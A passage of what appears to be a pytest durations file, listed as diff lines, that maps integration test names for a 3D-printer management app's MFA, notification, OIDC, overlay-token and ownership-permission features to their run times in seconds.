"integration/test_mfa_api.py::TestRateLimiting::test_rate_limit_lockout": 0.36503269989043474, + "integration/test_mfa_api.py::TestRateLimitingDisableRegenerate::test_disable_totp_rate_limited_after_failures": 0.4476708397269249, + "integration/test_mfa_api.py::TestRateLimitingDisableRegenerate::test_regenerate_backup_codes_rate_limited_after_failures": 0.46369177754968405, + "integration/test_mfa_api.py::TestRegenerateBackupCodes::test_regenerate_invalidates_old_codes": 0.3591480301693082, + "integration/test_mfa_api.py::TestRegenerateBackupCodes::test_regenerate_requires_totp_enabled": 0.22409931849688292, + "integration/test_mfa_api.py::TestRegenerateBackupCodes::test_regenerate_with_invalid_code_fails": 0.3161435294896364, + "integration/test_mfa_api.py::TestSchemaLengthValidationR2::test_change_password_current_too_long_rejected": 0.194987615570426, + "integration/test_mfa_api.py::TestSchemaLengthValidationR2::test_forgot_password_email_at_limit_passes_schema": 0.18773780670017004, + "integration/test_mfa_api.py::TestSchemaLengthValidationR2::test_forgot_password_email_too_long_rejected": 0.19482547137886286, + "integration/test_mfa_api.py::TestSetupTOTPReplayRejected::test_replayed_setup_code_rejected": 0.29751318879425526, + "integration/test_mfa_api.py::TestSlicerTokenResourceBinding::test_correct_resource_consumes_token": 0.1897093215957284, + "integration/test_mfa_api.py::TestSlicerTokenResourceBinding::test_wrong_resource_does_not_consume_token": 0.18798289727419615, + "integration/test_mfa_api.py::TestTOTPDisable::test_disable_when_not_enabled_returns_400": 0.2236306294798851, + "integration/test_mfa_api.py::TestTOTPDisable::test_disable_with_valid_code": 0.2847428135573864, + "integration/test_mfa_api.py::TestTOTPEnable::test_enable_with_invalid_code_returns_400": 0.232705719769001, + "integration/test_mfa_api.py::TestTOTPEnable::test_enable_with_valid_code_returns_backup_codes": 0.2779815224930644, + "integration/test_mfa_api.py::TestTOTPEnable::test_enable_without_setup_returns_400": 0.22383250948041677, + "integration/test_mfa_api.py::TestTOTPEnable::test_status_reflects_enabled_totp": 0.2778211999684572, + "integration/test_mfa_api.py::TestTOTPReplay::test_totp_replay_rejected_on_disable": 0.29571871366351843, + "integration/test_mfa_api.py::TestTOTPReplay::test_totp_replay_rejected_on_verify": 0.30350335594266653, + "integration/test_mfa_api.py::TestTOTPSetup::test_setup_requires_auth": 0.19317548722028732, + "integration/test_mfa_api.py::TestTOTPSetup::test_setup_returns_secret_and_qr": 0.24321867432445288, + "integration/test_mfa_api.py::TestTOTPSetup::test_setup_secret_is_valid_base32": 0.22785159200429916, + "integration/test_mfa_api.py::TestTOTPSetupCodeMaxLength::test_setup_code_too_long_rejected": 0.2724407846108079, + "integration/test_mfa_api.py::TestTwoFAStatus::test_status_default_disabled": 0.22967811580747366, + "integration/test_mfa_api.py::TestTwoFAStatus::test_status_requires_auth": 0.20801470149308443, + "integration/test_mfa_api.py::TestTwoFAVerifyBackup::test_backup_code_count_decrements": 0.3253841754049063, + "integration/test_mfa_api.py::TestTwoFAVerifyBackup::test_backup_code_is_single_use": 0.36144386511296034, + "integration/test_mfa_api.py::TestTwoFAVerifyBackup::test_verify_with_backup_code": 0.3331993343308568, + "integration/test_mfa_api.py::TestTwoFAVerifyCodeFormat::test_code_exactly_6_passes_schema": 0.1879910510033369, + "integration/test_mfa_api.py::TestTwoFAVerifyCodeFormat::test_code_exactly_8_passes_schema": 0.18877260480076075, + "integration/test_mfa_api.py::TestTwoFAVerifyCodeFormat::test_code_non_alphanumeric_rejected": 0.19229837600141764, + "integration/test_mfa_api.py::TestTwoFAVerifyCodeFormat::test_code_too_long_rejected": 0.18772589601576328, + "integration/test_mfa_api.py::TestTwoFAVerifyCodeFormat::test_code_too_short_rejected": 0.18959594797343016, + "integration/test_mfa_api.py::TestTwoFAVerifyTOTP::test_verify_invalid_method": 0.29330327827483416, + "integration/test_mfa_api.py::TestTwoFAVerifyTOTP::test_verify_totp_invalid_code": 0.29079777281731367, + "integration/test_mfa_api.py::TestTwoFAVerifyTOTP::test_verify_totp_issues_jwt": 0.2962007075548172, + "integration/test_mfa_api.py::TestTwoFAVerifyTOTP::test_verify_with_invalid_pre_auth_token": 0.20258748903870583, + "integration/test_mfa_api.py::TestUserCreateUpdateFieldLengths::test_create_email_exceeds_limit_rejected": 0.22895241435617208, + "integration/test_mfa_api.py::TestUserCreateUpdateFieldLengths::test_create_email_too_long_rejected": 0.23296423442661762, + "integration/test_mfa_api.py::TestUserCreateUpdateFieldLengths::test_create_password_too_long_rejected": 0.22461866214871407, + "integration/test_mfa_api.py::TestUserCreateUpdateFieldLengths::test_create_username_too_long_rejected": 0.22004101239144802, + "integration/test_mfa_api.py::TestUserCreateUpdateFieldLengths::test_update_email_too_long_rejected": 0.24929743818938732, + "integration/test_mfa_api.py::TestUserCreateUpdateFieldLengths::test_update_password_too_long_rejected": 0.25345852598547935, + "integration/test_mfa_api.py::TestUserCreateUpdateFieldLengths::test_update_username_too_long_rejected": 0.2404986061155796, + "integration/test_mfa_api.py::TestVerifyMethodValidation::test_invalid_method_rejected_by_schema": 0.19312634598463774, + "integration/test_mfa_api.py::TestVerifyMethodValidation::test_oversized_pre_auth_token_rejected": 0.2014494463801384, + "integration/test_mode_switch_preserves_assignments_2812.py::TestAutoUnlinkRespectsTheActiveMode::test_built_in_mode_still_unlinks_a_stale_assignment": 0.2229737499728799, + "integration/test_mode_switch_preserves_assignments_2812.py::TestAutoUnlinkRespectsTheActiveMode::test_spoolman_mode_does_not_unlink_built_in_assignments": 0.21840218175202608, + "integration/test_notifications_api.py::TestHomeAssistantNotificationProvider::test_create_homeassistant_provider": 0.19474039133638144, + "integration/test_notifications_api.py::TestHomeAssistantNotificationProvider::test_test_homeassistant_config_without_ha_settings": 0.19852159917354584, + "integration/test_notifications_api.py::TestHomeAssistantNotificationProvider::test_update_homeassistant_provider": 0.20810141321271658, + "integration/test_notifications_api.py::TestNotificationTemplatesAPI::test_get_template_by_id": 0.21627299021929502, + "integration/test_notifications_api.py::TestNotificationTemplatesAPI::test_list_templates": 0.2230140147730708, + "integration/test_notifications_api.py::TestNotificationTemplatesAPI::test_reset_template_to_default": 0.221690165810287, + "integration/test_notifications_api.py::TestNotificationTemplatesAPI::test_update_template": 0.21481626946479082, + "integration/test_notifications_api.py::TestNotificationsAPI::test_a_row_with_null_event_flags_is_still_listable": 0.20767091680318117, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_callmebot_provider": 0.19891375489532948, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_ntfy_provider": 0.20304113812744617, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_persists_and_returns_the_toggle[on_ha_sensor_alert]": 0.21189633570611477, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_persists_and_returns_the_toggle[on_location_ha_sensor_alert]": 0.1996700083836913, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_persists_and_returns_the_toggle[on_stock_break_alert]": 0.20013897120952606, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_persists_and_returns_the_toggle[on_stock_reorder_alert]": 0.20569575484842062, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_provider_with_first_layer_complete": 0.2020187135785818, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_provider_with_missing_spool_assignment_toggle": 0.2051925715059042, + "integration/test_notifications_api.py::TestNotificationsAPI::test_create_provider_with_printer": 0.21225017961114645, + "integration/test_notifications_api.py::TestNotificationsAPI::test_delete_nonexistent_provider": 0.1968145789578557, + "integration/test_notifications_api.py::TestNotificationsAPI::test_delete_notification_provider": 0.20707209687680006, + "integration/test_notifications_api.py::TestNotificationsAPI::test_enable_disable_provider": 0.2028808295726776, + "integration/test_notifications_api.py::TestNotificationsAPI::test_first_layer_complete_independent_from_other_toggles": 0.2059347042813897, + "integration/test_notifications_api.py::TestNotificationsAPI::test_get_notification_provider": 0.20044382102787495, + "integration/test_notifications_api.py::TestNotificationsAPI::test_get_provider_not_found": 0.2079643588513136, + "integration/test_notifications_api.py::TestNotificationsAPI::test_list_notification_providers_empty": 0.19797481317073107, + "integration/test_notifications_api.py::TestNotificationsAPI::test_list_notification_providers_with_data": 0.19618669245392084, + "integration/test_notifications_api.py::TestNotificationsAPI::test_patch_is_reflected_by_every_read_route[on_ha_sensor_alert]": 0.20577343925833702, + "integration/test_notifications_api.py::TestNotificationsAPI::test_patch_is_reflected_by_every_read_route[on_location_ha_sensor_alert]": 0.21641732100397348, + "integration/test_notifications_api.py::TestNotificationsAPI::test_patch_is_reflected_by_every_read_route[on_stock_break_alert]": 0.21791594941169024, + "integration/test_notifications_api.py::TestNotificationsAPI::test_patch_is_reflected_by_every_read_route[on_stock_reorder_alert]": 0.2217109827324748, + "integration/test_notifications_api.py::TestNotificationsAPI::test_test_notification": 0.2010206338018179, + "integration/test_notifications_api.py::TestNotificationsAPI::test_test_notification_disabled_provider": 0.5541674038395286, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_ams_alarm_toggles": 0.2051417576149106, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_billing_charge_failed_toggle": 0.21311055310070515, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_daily_digest": 0.20655233226716518, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_event_toggles": 0.212671029381454, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_first_layer_complete_toggle": 0.21949034184217453, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_missing_spool_assignment_toggle": 0.20737944170832634, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_multiple_event_toggles": 0.20549453608691692, + "integration/test_notifications_api.py::TestNotificationsAPI::test_update_quiet_hours": 0.20368482545018196, + "integration/test_obico_api.py::TestObicoCachedFrame::test_endpoint_is_public": 0.19285777304321527, + "integration/test_obico_api.py::TestObicoCachedFrame::test_nonce_is_single_use": 0.20054372865706682, + "integration/test_obico_api.py::TestObicoCachedFrame::test_response_is_not_cached": 0.19512914028018713, + "integration/test_obico_api.py::TestObicoCachedFrame::test_unknown_nonce_is_404": 0.19345588330179453, + "integration/test_obico_api.py::TestObicoCachedFrame::test_valid_nonce_returns_jpeg": 0.20371877867728472, + "integration/test_obico_api.py::TestObicoPrinterStatus::test_does_not_leak_settings": 0.19414612744003534, + "integration/test_obico_api.py::TestObicoPrinterStatus::test_empty_when_nothing_monitored": 0.20310519076883793, + "integration/test_obico_api.py::TestObicoPrinterStatus::test_last_error_is_surfaced": 0.19147690385580063, + "integration/test_obico_api.py::TestObicoPrinterStatus::test_monitored_subset_is_returned": 0.20348842814564705, + "integration/test_obico_api.py::TestObicoPrinterStatus::test_returns_per_printer_classification": 0.19770014844834805, + "integration/test_obico_api.py::TestObicoPrinterStatusNoVerdict::test_error_class_and_reason_reach_the_card": 0.19717535749077797, + "integration/test_obico_api.py::TestObicoPrinterStatusNoVerdict::test_monitored_but_no_result_yet_is_unknown_not_safe": 0.19657952897250652, + "integration/test_obico_api.py::TestObicoPrinterStatusNoVerdict::test_reason_is_withheld_without_settings_read_but_the_class_is_not": 0.002261989749968052, + "integration/test_oidc_env_apply.py::test_a_blank_email_claim_still_creates_the_provider": 0.18726095277816057, + "integration/test_oidc_env_apply.py::test_a_blank_icon_url_still_creates_the_provider": 0.19092309661209583, + "integration/test_oidc_env_apply.py::test_a_blank_scopes_still_creates_the_provider": 0.18212678842246532, + "integration/test_oidc_env_apply.py::test_a_changed_var_updates_the_same_row": 0.1895276317372918, + "integration/test_oidc_env_apply.py::test_a_commit_failure_is_survivable_and_leaks_nothing": 0.19223629776388407, + "integration/test_oidc_env_apply.py::test_a_failing_rollback_is_also_survivable": 0.18743786495178938, + "integration/test_oidc_env_apply.py::test_a_name_collision_adopts_the_existing_provider": 0.17834649328142405, + "integration/test_oidc_env_apply.py::test_a_non_validation_error_is_survivable_and_leaks_nothing": 0.18328990042209625, + "integration/test_oidc_env_apply.py::test_a_rejected_config_never_logs_the_client_secret": 0.1814934527501464, + "integration/test_oidc_env_apply.py::test_a_routine_reapply_does_not_log_an_adoption_warning": 0.19488212652504444, + "integration/test_oidc_env_apply.py::test_a_ui_provider_is_otherwise_left_alone": 0.19214008748531342, + "integration/test_oidc_env_apply.py::test_account_links_survive_a_provider_rename": 0.18821002170443535, + "integration/test_oidc_env_apply.py::test_adopting_a_ui_provider_logs_a_distinct_warning": 0.18328404054045677, + "integration/test_oidc_env_apply.py::test_an_empty_group_variable_counts_as_unset": 0.19026154652237892, + "integration/test_oidc_env_apply.py::test_an_unknown_group_name_is_rejected_rather_than_defaulted": 0.18359227664768696, + "integration/test_oidc_env_apply.py::test_an_unknown_group_name_leaves_the_previous_provider_intact": 0.1823566509410739, + "integration/test_oidc_env_apply.py::test_an_unrecognized_enabled_leaves_a_running_provider_intact": 0.18306194338947535, + "integration/test_oidc_env_apply.py::test_an_unrecognized_require_email_verified_leaves_a_running_provider_intact": 0.18740116525441408, + "integration/test_oidc_env_apply.py::test_an_unsafe_auto_link_config_is_skipped_not_raised": 0.17907752469182014, + "integration/test_oidc_env_apply.py::test_applying_twice_without_changes_is_a_no_op": 0.18063620571047068, + "integration/test_oidc_env_apply.py::test_boot_survives_removing_the_config_after_a_rename": 0.18753407336771488, + "integration/test_oidc_env_apply.py::test_creates_the_provider_from_env": 0.18202856555581093, + "integration/test_oidc_env_apply.py::test_env_autologin_clears_it_on_other_providers": 0.18516716826707125, + "integration/test_oidc_env_apply.py::test_every_managed_row_is_released_not_just_one": 0.18260166980326176, + "integration/test_oidc_env_apply.py::test_group_name_matching_is_case_sensitive": 0.1935916794463992, + "integration/test_oidc_env_apply.py::test_group_name_rejection_does_not_log_the_secret": 0.20366032980382442, + "integration/test_oidc_env_apply.py::test_no_group_variable_leaves_the_default_group_unset": 0.18497782107442617, + "integration/test_oidc_env_apply.py::test_releasing_the_provider_clears_autologin": 0.18810764979571104, + "integration/test_oidc_env_apply.py::test_removing_the_config_releases_the_provider_to_the_ui": 0.18971501383930445, + "integration/test_oidc_env_apply.py::test_removing_the_env_config_disables_but_keeps_the_row": 0.18351742532104254, + "integration/test_oidc_env_apply.py::test_removing_the_group_variable_clears_the_default_group": 0.18951521813869476, + "integration/test_oidc_env_apply.py::test_renaming_the_provider_releases_the_row_it_managed_before": 0.19041910115629435, + "integration/test_oidc_env_apply.py::test_renaming_to_match_a_ui_provider_adopts_it_and_releases_the_old_row": 0.18147556949406862, + "integration/test_oidc_env_apply.py::test_renaming_with_autologin_updates_the_exclusivity_sweep": 0.1898044003173709, + "integration/test_oidc_env_apply.py::test_restoring_env_config_after_rename_then_unset_finds_the_original_row": 0.18923936039209366, + "integration/test_oidc_env_apply.py::test_restoring_the_config_finds_the_same_row_again": 0.1863848501816392, + "integration/test_oidc_env_apply.py::test_the_default_group_is_resolved_by_name": 0.18494355864822865, + "integration/test_oidc_env_apply.py::test_the_issuer_and_client_can_change_under_the_same_name": 0.19102525804191828, + "integration/test_oidc_env_lock.py::test_a_ui_provider_is_still_editable": 0.23917014617472887, + "integration/test_oidc_env_lock.py::test_delete_is_refused": 0.22611802350729704, + "integration/test_oidc_env_lock.py::test_icon_delete_is_refused": 0.23507216479629278, + "integration/test_oidc_env_lock.py::test_icon_refresh_is_refused": 0.2402251036837697, + "integration/test_oidc_env_lock.py::test_put_is_refused": 0.24466306064277887, + "integration/test_oidc_env_lock.py::test_the_response_says_which_provider_is_env_managed": 0.225219058804214, + "integration/test_oidc_env_startup.py::test_it_runs_after_the_migrations": 0.0026471326127648354, + "integration/test_oidc_env_startup.py::test_lifespan_applies_the_env_oidc_provider": 0.004637761972844601, + "integration/test_oidc_env_startup.py::test_the_apply_call_is_awaited": 0.0025574229657649994, + "integration/test_oidc_icon_api.py::TestCreateProviderWithIcon::test_create_with_unreachable_icon_url_returns_400_no_row": 0.22894308809190989, + "integration/test_oidc_icon_api.py::TestCreateProviderWithIcon::test_create_with_valid_icon_url_fetches_and_caches": 0.2340237209573388, + "integration/test_oidc_icon_api.py::TestCreateProviderWithIcon::test_create_without_icon_url_has_icon_false": 0.22809601947665215, + "integration/test_oidc_icon_api.py::TestCreateProviderWithIcon::test_fetch_failure_logs_warning": 0.2434687139466405, + "integration/test_oidc_icon_api.py::TestCreateProviderWithIcon::test_ssrf_rejection_logs_warning": 0.22371297515928745, + "integration/test_oidc_icon_api.py::TestDeleteIcon::test_delete_icon_clears_columns": 0.24056478030979633, + "integration/test_oidc_icon_api.py::TestDeleteIcon::test_delete_icon_without_auth_rejected": 0.23029276728630066, + "integration/test_oidc_icon_api.py::TestEdgeCases::test_delete_icon_on_nonexistent_provider_returns_404": 0.2292789863422513, + "integration/test_oidc_icon_api.py::TestEdgeCases::test_get_icon_with_inconsistent_triplet_returns_404": 0.2224181704223156, + "integration/test_oidc_icon_api.py::TestEdgeCases::test_refresh_icon_on_nonexistent_provider_returns_404": 0.226277532055974, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_anonymous_get_returns_bytes": 0.22850046958774328, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_get_for_disabled_provider_returns_404": 0.22463583387434483, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_get_without_cached_data_returns_404": 0.23643262591212988, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_if_none_match_exact_returns_304": 0.22676581609994173, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_if_none_match_mismatch_returns_200": 0.2282325653359294, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_if_none_match_multiple_tokens_one_match": 0.22582870069891214, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_if_none_match_weak_prefix_returns_304": 0.2288813404738903, + "integration/test_oidc_icon_api.py::TestGetProviderIcon::test_if_none_match_wildcard_returns_304": 0.22421647980809212, + "integration/test_oidc_icon_api.py::TestRefreshIcon::test_refresh_failure_preserves_old_bytes": 0.22761782445013523, + "integration/test_oidc_icon_api.py::TestRefreshIcon::test_refresh_fetches_from_stored_url": 0.24909426644444466, + "integration/test_oidc_icon_api.py::TestRefreshIcon::test_refresh_without_icon_url_returns_400": 0.22320893872529268, + "integration/test_oidc_icon_api.py::TestUpdateProviderIcon::test_put_with_broken_new_icon_url_preserves_old_bytes": 0.23416274040937424, + "integration/test_oidc_icon_api.py::TestUpdateProviderIcon::test_put_with_changed_icon_url_refetches": 0.23009612783789635, + "integration/test_oidc_icon_api.py::TestUpdateProviderIcon::test_put_with_icon_url_null_clears_icon": 0.23606607876718044, + "integration/test_oidc_icon_api.py::TestUpdateProviderIcon::test_put_with_unchanged_icon_url_and_data_present_skips_fetch": 0.23655199818313122, + "integration/test_oidc_icon_api.py::TestUpdateProviderIcon::test_put_with_unchanged_url_but_missing_cached_bytes_refetches": 0.23730294778943062, + "integration/test_oidc_icon_api.py::TestUpdateProviderIcon::test_put_without_icon_url_field_does_not_refetch": 0.23685392644256353, + "integration/test_oidc_icon_blob_roundtrip.py::TestBackupSchemaFidelity::test_icon_data_column_is_blob": 0.03862571716308594, + "integration/test_oidc_icon_blob_roundtrip.py::TestBackupSchemaFidelity::test_not_null_column_keeps_not_null": 0.03544899169355631, + "integration/test_oidc_icon_blob_roundtrip.py::TestBackupSchemaFidelity::test_server_default_column_keeps_default": 0.03626309894025326, + "integration/test_oidc_icon_blob_roundtrip.py::TestIconTripletCheckConstraint::test_all_null_triplet_accepted": 0.17347534466534853, + "integration/test_oidc_icon_blob_roundtrip.py::TestIconTripletCheckConstraint::test_full_triplet_accepted": 0.17473820131272078, + "integration/test_oidc_icon_blob_roundtrip.py::TestIconTripletCheckConstraint::test_partial_triplet_rejected_by_check_constraint": 0.18318570498377085, + "integration/test_oidc_icon_blob_roundtrip.py::TestSqliteBinaryRoundtrip::test_binary_value_roundtrips_through_sqlite_blob": 0.001252167858183384, + "integration/test_oidc_icon_deferred_load.py::test_default_list_query_does_not_load_icon_data": 0.17577423434704542, + "integration/test_oidc_icon_deferred_load.py::test_icon_content_type_is_eager_indicator": 0.1847099708393216, + "integration/test_oidc_icon_deferred_load.py::test_undefer_loads_icon_data": 0.19104837253689766, + "integration/test_oidc_relogin.py::TestOidcReloginAfterDelete::test_relogin_after_delete_recreates_user_via_auto_create": 0.3753253808245063, + "integration/test_orca_cloud_device.py::TestDevicePoll::test_poll_complete_persists_tokens_and_connects": 0.20326325483620167, + "integration/test_orca_cloud_device.py::TestDevicePoll::test_poll_denied_clears_pending": 0.20668870396912098, + "integration/test_orca_cloud_device.py::TestDevicePoll::test_poll_expires_by_ttl_without_network": 0.20182946976274252, + "integration/test_orca_cloud_device.py::TestDevicePoll::test_poll_pending_reports_in_progress": 0.2046856628730893, + "integration/test_orca_cloud_device.py::TestDevicePoll::test_poll_without_pending_is_400": 0.18965531047433615, + "integration/test_orca_cloud_device.py::TestDeviceStart::test_start_returns_user_code_and_hides_device_code": 0.2013929821550846, + "integration/test_orca_cloud_device.py::TestLogout::test_logout_clears_connection": 0.20774024724960327, + "integration/test_overlay_status_api.py::TestOverlayFeedAuth::test_camera_stream_token_cannot_reach_the_feed": 0.22547464538365602, + "integration/test_overlay_status_api.py::TestOverlayFeedAuth::test_camwall_token_cannot_reach_the_feed": 0.23605150915682316, + "integration/test_overlay_status_api.py::TestOverlayFeedAuth::test_garbage_token_is_rejected": 0.22113376203924417, + "integration/test_overlay_status_api.py::TestOverlayFeedAuth::test_no_token_is_rejected": 0.21907501202076674, + "integration/test_overlay_status_api.py::TestOverlayFeedAuth::test_overlay_token_reaches_the_feed": 0.23057991452515125, + "integration/test_overlay_status_api.py::TestOverlayFeedAuth::test_revoked_overlay_token_is_rejected": 0.2391892122104764, + "integration/test_overlay_status_api.py::TestOverlayFeedPayload::test_disconnected_printer_reports_connected_false": 0.23550738114863634, + "integration/test_overlay_status_api.py::TestOverlayFeedPayload::test_payload_shape_includes_filename_fields": 0.2334154611453414, + "integration/test_overlay_status_api.py::TestOverlayFeedPayload::test_temperatures_are_filtered_not_passed_through": 0.2351482082158327, + "integration/test_overlay_status_api.py::TestOverlayFeedPayload::test_unknown_printer_is_404_not_401": 0.23561508301645517, + "integration/test_overlay_status_api.py::TestOverlayTokenReachesTheVideo::test_camwall_gate_rejects_an_overlay_token": 0.22363075148314238, + "integration/test_overlay_status_api.py::TestOverlayTokenReachesTheVideo::test_overlay_gate_rejects_camera_stream_and_camwall": 0.23475445061922073, + "integration/test_overlay_status_api.py::TestOverlayTokenReachesTheVideo::test_overlay_token_passes_the_camera_stream_gate": 0.23722821660339832, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_admin_can_delete_any_archive": 0.4616010459139943, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_admin_can_update_any_archive": 0.34892843570560217, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_batch_dispatch_allowed_for_own_archive_with_reprint_own": 0.3713231310248375, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_batch_dispatch_honours_the_reprint_gate": 0.38319764751940966, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_operator_can_delete_own_archive": 0.32197988498955965, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_operator_can_update_own_archive": 0.3191405739635229, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_operator_cannot_delete_others_archive": 0.32812167797237635, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_operator_cannot_delete_ownerless_archive": 0.3311411067843437, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_operator_cannot_update_others_archive": 0.3150506094098091, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_queue_route_operator_can_reprint_own_archive": 0.3356634844094515, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_queue_route_ownerless_archive_requires_reprint_all": 0.32224266696721315, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_queue_route_user_without_reprint_gets_403": 0.36780589912086725, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_reprint_endpoint_is_gone_for_all_callers": 0.31418857257813215, + "integration/test_ownership_permissions.py::TestArchiveOwnershipPermissions::test_viewer_cannot_delete_archive": 0.32173902355134487, + "integration/test_ownership_permissions.py::TestAuthDisabledPermissions::test_delete_archive_without_auth": 0.21308790985494852, + "integration/test_ownership_permissions.py::TestAuthDisabledPermissions::test_update_archive_without_auth": 0.20550569891929626, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_admin_can_delete_any_library_file": 0.32439213804900646, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_admin_can_delete_folder_with_contents": 0.33593944925814867, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_bulk_delete_operator_folders_empty_only": 0.3463439317420125, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_bulk_delete_skips_non_owned_files": 0.32307307329028845, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_can_delete_empty_folder": 0.3253418290987611, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_can_delete_own_library_file": 0.3242703201249242, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_can_update_own_library_file": 0.3338212799280882, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_cannot_delete_external_folder": 0.3081921925768256, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_cannot_delete_folder_with_files": 0.3211189741268754, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_cannot_delete_folder_with_subfolder": 0.3230570163577795, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_cannot_delete_folder_with_trashed_file": 0.3217673869803548, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_cannot_delete_linked_folder": 0.3203362552449107, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_cannot_delete_others_library_file": 0.31965782679617405, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_operator_cannot_update_others_library_file": 0.3278435757383704, + "integration/test_ownership_permissions.py::TestLibraryOwnershipPermissions::test_viewer_cannot_delete_empty_folder": 0.31821964867413044, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_admin_can_delete_any_queue_item": 0.34640271216630936, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_admin_can_stop_any_queue_item": 0.3345894608646631, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_bulk_update_skips_non_owned_items": 0.3304817611351609, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_can_delete_own_queue_item": 0.32797793857753277, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_can_start_own_queue_item": 0.34248830657452345, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_can_start_unowned_queue_item": 0.344127737917006, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_can_stop_own_queue_item": 0.3340339409187436, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_can_update_own_queue_item": 0.3406005660071969, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_cannot_cancel_others_queue_item": 0.33612909633666277, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_cannot_delete_others_queue_item": 0.32110609114170074, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_cannot_start_others_queue_item": 0.3383064568042755, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_cannot_stop_others_queue_item": 0.3383255833759904, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_cannot_stop_unowned_queue_item": 0.3264970937743783, + "integration/test_ownership_permissions.py::TestQueueOwnershipPermissions::test_operator_cannot_update_others_queue_item": 0.7351271379739046, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_admin_can_queue_others_archive": 0.33002879098057747, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_admin_list_archives_includes_all": 0.32593505922704935, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_auth_disabled_preserves_single_tenant_read_all": 0.6896030008792877, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_cannot_queue_others_archive": 0.3227353533729911, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_download_others_archive_returns_404": 0.3325655562803149, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_get_others_archive_returns_404_not_200": 0.3313282383605838, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_get_others_library_file_returns_404": 0.3157226601615548, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_get_others_queue_item_returns_404": 0.3385112527757883, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_list_archives_excludes_others": 0.33831803873181343, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_list_library_files_excludes_others": 0.31843037344515324, + "integration/test_ownership_permissions.py::TestReadIDORClosure::test_operator_queue_list_excludes_others_items": 0.3378495303913951, + "integration/test_ownership_permissions.py::TestSliceOwnershipPermissions::test_admin_can_slice_any_library_file": 0.31970141641795635, + "integration/test_ownership_permissions.py::TestSliceOwnershipPermissions::test_operator_can_slice_own_archive": 0.31621070206165314, + "integration/test_ownership_permissions.py::TestSliceOwnershipPermissions::test_operator_can_slice_own_library_file": 0.31085938308387995, + "integration/test_ownership_permissions.py::TestSliceOwnershipPermissions::test_operator_cannot_slice_others_archive": 0.32851977553218603, + "integration/test_ownership_permissions.py::TestSliceOwnershipPermissions::test_operator_cannot_slice_others_library_file": 0.3173201335594058, + "integration/test_ownership_permissions.py::TestSliceOwnershipPermissions::test_pipeline_run_cannot_reference_others_library_file": 